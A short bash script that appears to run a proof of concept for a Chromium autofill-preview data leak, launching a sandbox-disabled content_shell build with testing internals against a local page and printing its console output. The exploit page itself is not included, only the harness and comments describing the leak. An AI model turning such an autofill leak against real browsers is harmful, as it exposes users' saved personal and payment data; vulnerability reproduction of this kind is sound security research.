#!/bin/bash
# Runs the POC under content_shell with the Blink `internals` API exposed so
# that internals.setSuggestedValue() can simulate the autofill *preview*
# (the exact code path the browser process invokes when the user merely
# hovers an Autofill suggestion). The leak itself is pure web content.
set -e
HERE="$(cd "$(dirname "$0")" && pwd)"
SRC=/chromium/chromium/src
PORT=18080
PROFILE=$(mktemp -d)
LOG="$HERE/poc-output.log"

cd "$HERE"
python3 server.py "$PORT" >/dev/null 2>&1 &
SRV=$!
trap 'kill $SRV 2>/dev/null; rm -rf "$PROFILE"' EXIT
sleep 1

"$SRC/out/asan/content_shell" \
  --no-sandbox \
  --expose-internals-for-testing \
  --disable-gpu \
  --enable-logging=stderr \
  --user-data-dir="$PROFILE" \
  "http://127.0.0.1:$PORT/poc.html" \
  > "$LOG" 2>&1 &
CS=$!

# give the page time to run, then dump the log
sleep 45
kill $CS 2>/dev/null || true
wait $CS 2>/dev/null || true

echo "==== poc-output.log ===="
grep -a 'INFO:CONSOLE' "$LOG" \
  | sed -E 's/^\[[^]]*\] "(.*)", source:.*$/\1/'
echo "========================"
